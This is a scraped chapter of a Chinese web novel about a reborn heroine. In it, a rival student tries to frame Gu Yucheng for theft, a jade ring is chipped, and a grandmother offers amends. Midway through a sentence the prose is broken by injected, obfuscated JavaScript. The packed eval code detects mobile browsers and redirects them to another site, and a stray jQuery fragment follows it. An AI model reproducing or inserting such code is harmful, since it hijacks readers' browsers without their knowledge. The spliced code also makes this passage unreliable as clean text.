17. 玉环
作品:《高岭之花的原配重生了》 江朝成最先看见姐妹两个过来,他已经知道了许棠和李怀弥的事,于是待她不再如同昨日那般殷勤。
“哟,这不是大娘子吗,怎么也出来了,是来给他做主的吗?”他打趣道。
“先生面前也敢说这样不干不净的话,”许棠一个眼刀扫过去,“他是我的谁,我为何要给他做主?”
江朝成还嘴道:“那你急着过来干嘛?”
“单凭你几句话,就要毁一个人的清白,我们许家没有这样的事!”
“所以我说搜一搜,我是想还他清白啊!”
许棠冷笑:“要搜可以,证据呢?顾玉成与你是一样的人,都是来许家读书的,我们许家求的是善缘,你若要毁去,别怪我不客气。”
“就算要我离开,我也得先找到我的玉佩。”江朝成一点不肯退让,“我与你自幼相识,你为了他就这样对我?”
这时李怀弥也过来了,其实他方才就出来看了,只是一直在一旁没有出声,见许棠来了这才出来。
李怀弥道:“你们两个先消消气,先生还在想办法,吵又有什么意义?”
“李怀弥,你如今倒是抱得佳人归了,但是你问问你的佳人心里是不是只有你一个。”江朝成又指了指顾玉成,意思不言而喻。
许棠听后便要大怒,忽听得一道清朗声音道:“不必再吵了,去搜我的厢房便是。”
江朝成摸了两下鼻子,觉得成功在望:“你说你早答应便是,还非要费这个劲儿,跑这一趟真是多余。”
一众人连同两位先生便往集真堂而去,许棠许蕙以及李怀弥亦跟随其后。
顾玉成的门口早就被江朝成的人守着,另还有许廷樟匆忙间留下的两个随从,见人都来了,立刻将他们放进去。
不大的两间屋子挤进来乌泱泱的人,比早上那回还多了好些看热闹的,更是拥挤不堪。
两位先生便让人当着所有人的面搜查了外间,自然一无所获。
江朝成早就已经不耐烦,连声道:“不必再继续搜外面,谁会把东西放在外面,肯定在里面!”
于是众人转而又去内室,江朝成不等先生们发话,自己先抢先走到里面,“哐当”几脚就把顾玉成的箱笼给踢开,翻出他的衣裳和书籍,草草翻过之后随意丢放,接着又将他的床铺由上到下摸了个遍。
原本整洁干净的屋子一下子便如同被人打劫过一般。
许蕙看得心焦,小声与许棠咬耳朵:“姐姐怎么办,他定然是有目标的。”
许棠还没说话,便听见江朝成高声道:“这里有个带锁的矮柜!来人,给我凿开它!”
先生看不下去,立刻阻止了江朝成,转而问顾玉成:“你可愿意打开矮柜让我们查验?”
顾玉成沉默许久。
一时所有人的目光都集中在了他的身上,有得意,有愤恨,有嘲弄,有担忧,如同一道道刀光剑影,足以将人砍穿。
顾玉成的眼角余光瞥见许棠,见她望了他一眼之后便一直低着头,他唇角扬起一个不易被人觉察的弧度,然而开口时却显得很是犹豫:“那……我自己来开吧。”
他说着,便一个箭步走到矮柜旁边,行动间多了许多警惕。
矮柜的锁很快便被顾玉成打开打开,就在打开的刹那,他的手又去紧紧抓住柜门,稍稍遮挡着,江朝成已然大喜过望,上前一把拍开他的手。
顾玉成吃痛,忍不住“嘶”的一声,露出了手背上还没消下去的红肿。
许廷樟见状问道:“你的手怎么了?”
顾玉成用衣袖往上遮了遮,摇摇头没说什么。
江朝成得意地觑了他一眼,然后装模作样地在柜子里一通乱摸,将本就不大的双层矮柜故意弄得一塌糊涂,最后才掏出个小方盒,刚要打开,却被顾玉成劈手夺了去。
“你干嘛?”
顾玉成转过眼,没有作声。
他方才是勉为其难地一步步退让,可到了眼下,明显就是不愿意让人打开这个小方盒。
若江朝成稍微能长点脑子,便能判断出此时已经不大对劲了,分明是他放进去的东西,顾玉成根本不知道里面有赃物,又为何偏要阻拦?
但江朝成不但没有细想,反而更加得意起来。
“你不肯让我打开,那就是告诉大家你偷了东西放在里面!”江朝成身形高大,声音在激动之下更是洪亮,差点要把屋顶掀开。
“不行,里面有我重要的东西,我不想让人看见。”顾玉成依旧坚持。
“有什么东西不能给人看的,几句那么见不得人吗?”有个江朝成的同党出言道,“不打开就算你偷了,最后不还是要打开!”
许廷樟看不过去:“怎能如此草率断案?”
但许廷樟一时也没有好办法,只能对顾玉成说:“你既然不想给大家看,那就由先生查看可以吗?”
闻言,顾玉成还是没有任何表示,他微微垂了头,修长纤细的手指轻轻抚过小方盒,最后终于道:“我自己来。”
说完之后,在众目睽睽之下,顾玉成打开了小方盒。
只见里面是几样不起眼的小物件,另还有一个玉环,上面带了个红点。
“怎么是个玉环,不是玉佩吗?”
“都是玉,应该差不多,是不是江郎君说错了……”
江朝成已经冲上前来,不可置信地看着玉环:“不可能,明明是玉佩!”
顾玉成自己拿起玉环,送到了江朝成面前让他看仔细,又认真向众人解释道:“这也是我的家传之物,所以才不愿示于人前。”
江朝成的计划已经完全被打乱了,但他也不肯再仔细琢磨一下,只喊着不信,又要拿过玉环来看,仿佛玉佩是被顾玉成用妖术变成玉环的,或者顾玉成用了一晚上把玉佩搓成了玉环。
玉环本就被顾玉成放在手心上,江朝成作势便要夺来看,就在他的手指接触玉环的一刹那,玉环掉落到了地上。
一声脆响,顾玉成的脸霎时白了。
他连忙蹲下/身子去捡,玉环好在是没有被完全摔碎,然而玉身上却有了一个小磕碰,碎下一粒米那样的大小。
顾玉成一双眸子猩红,他站起身,往不知所措的江朝成逼近两步,面上尽是寒意:“江朝成,你陷害我不成,竟还要摔了我的东西?”
“我没有,明明是自己掉的,是你没拿稳……”江朝成这下百口莫辩起来,依着他的性子,这样的委屈是受不起的,然而顾玉成往他跟前一站他就什么气势都没有了,连话都说不囫囵。
“够了!”许蕙此时却再也忍不住,向两位先生说道,“昨日我便看见江郎君欺负顾郎君,他手上的伤就是他弄的,脸上也有,但今日已经看不见了,还有顾郎君的书也被撕了许多,都是他干的!”
一时周遭全部哗然。
许蕙说了几句便气得说不出话,许棠怕她身子才刚刚好些,被激得病又起来就不好了,她连忙把许蕙扶住。
等细声安抚了几句之后,许棠才又继续顺着许蕙的话说道:“本来今日也是要将此事告知先生的,原想着此事许家出面倒尴尬,不如由先生来裁决,没想到又出了这档子事,真是……巧得很呐!”
江朝成一下子涨红了脸,指着许棠道:“你说什么!我是被害的,你看不见吗?”
许棠冷冷将他一瞥,一点都不怕。
闹出这样大的事,许家不知道是不可能了。
江朝成依旧还是由两位先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974082|193481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生带回了学堂管教,而顾玉成则是被带到了老夫人的春晖堂。
老夫人已知道了大概,又听跟着一起来的许棠、许蕙和许廷樟把事情的来龙去脉仔仔细细说了一遍,连昨日的也没落下。
婢子呈上那个玉环,老夫人看了一眼,摇了摇头。
三夫人瞿嘉云也已经被请了来,她立在老夫人跟前,一脸的忧虑之色,却未见得有几分是为了顾玉成的,见老夫人暂时没说话,三夫人便道:“老夫人,小孩子打打闹闹也是常有的事,此事就这样算了罢。”
她一向就是这个胆小又喜欢息事宁人的性子,再加上本不愿沾手顾玉成的事,更烦他一而再再而三的不太平,让她在这个家中难做人,能说出这话也不奇怪。
老夫人听后一时还是不语,许蕙怕老夫人被瞿嘉云说动,再加上也是看不惯江朝成行事蛮横,正欲劝说老夫人,却被许棠按住手,冲着她使了个眼色。
许棠因没有林夫人在身边教养她,所以在老夫人身边的时间要比其他姐妹多些,对老夫人也了解得更透彻,她看似一直没说话,其实心里早就已经有了主意,不必再多说什么,反而惹得老夫人心烦。
结果许蕙会意之后没说话,没忍住的竟是许廷樟:“祖母,许家家规一向严格,虽也有不听话的子弟,但从未有过这般恶劣行径,这江朝成不读书也就算了,才来了学堂两日才做出这样的事,日后我们怎么静下心念书?”
老夫人没有理会许廷樟这一长串的不满,她似乎终于想好了,叹了口气,转而对一直站在那里的顾玉成道:“顾郎君,这回是你受委屈了,连玉环都摔坏了,若是我们许家的孩子,我一定是狠狠罚了,再让他给你当面赔礼道歉,只是那是江家的,他来许家住几日罢了,也不是正经来念书的,我不好管教他。”
“是了是了,老夫人说的没错,总不好为了你去罚他……”
瞿嘉云还没说完,老夫人便横了她一眼,瞿嘉云吓得立刻闭嘴了,老夫人又道:“江朝成已经被先生带走了,想必也会好好教导,至于许家那几个跟着起哄,一会儿让樟儿回忆出来,我自会严惩他们。”
顾玉成听后,神色倒也没多大波澜,只是对着老夫人一揖,朗声道:“多谢老夫人。”
“你这孩子,老夫人都做到这个份儿上了,你就一句多谢,”瞿嘉云压着声音教训顾玉成,也不知是给谁看,“你读了那么多书,就不会再说几句好听话,就跟根木头似的杵在那儿!”
“好了,我知道你胆小怕惹事,但也不用怪他,我心里清楚。”老夫人道,“樟儿都明白的道理,难道我不明白?”
瞿嘉云不说话了。
这时老夫人身边的仆妇捧过来一个盒子,打开后只见里面是一对玉牌,老夫人便对顾玉成道:“你这玉环价值不菲,又是传家之宝,既是在许家被人弄破的,许家理应负责,只是我翻遍了库房,一时也找不出差不多的玉环,也只有这一对玉牌,勉强还能看过眼,你收下来,算是我赔你的。”
许棠探过头去看了一眼,老夫人能拿出手的东西自然是不差的,而顾玉成的玉环虽说也贵重,但一对玉牌必定是比一个玉环要贵的,算是给他多赔了一倍。
许棠看看那玉环,又暗自腹诽,上辈子从来没听说顾玉成有什么传家宝,也对这个玉环没什么印象,如今到底哪儿来的什么玉环,莫不是他自己悄悄留着不肯给她,恐怕早就想好了要给以后自己真正喜欢的人。
她想着便哼了一声,极轻的,其他人倒是没听见,只有坐在她身边的许蕙听见了,奇怪地问她:“大姐姐,怎么了?”
许棠自然不好解释,于是连忙指了指那边,示意许蕙继续看下去。
只听顾玉成道:“我不要。”

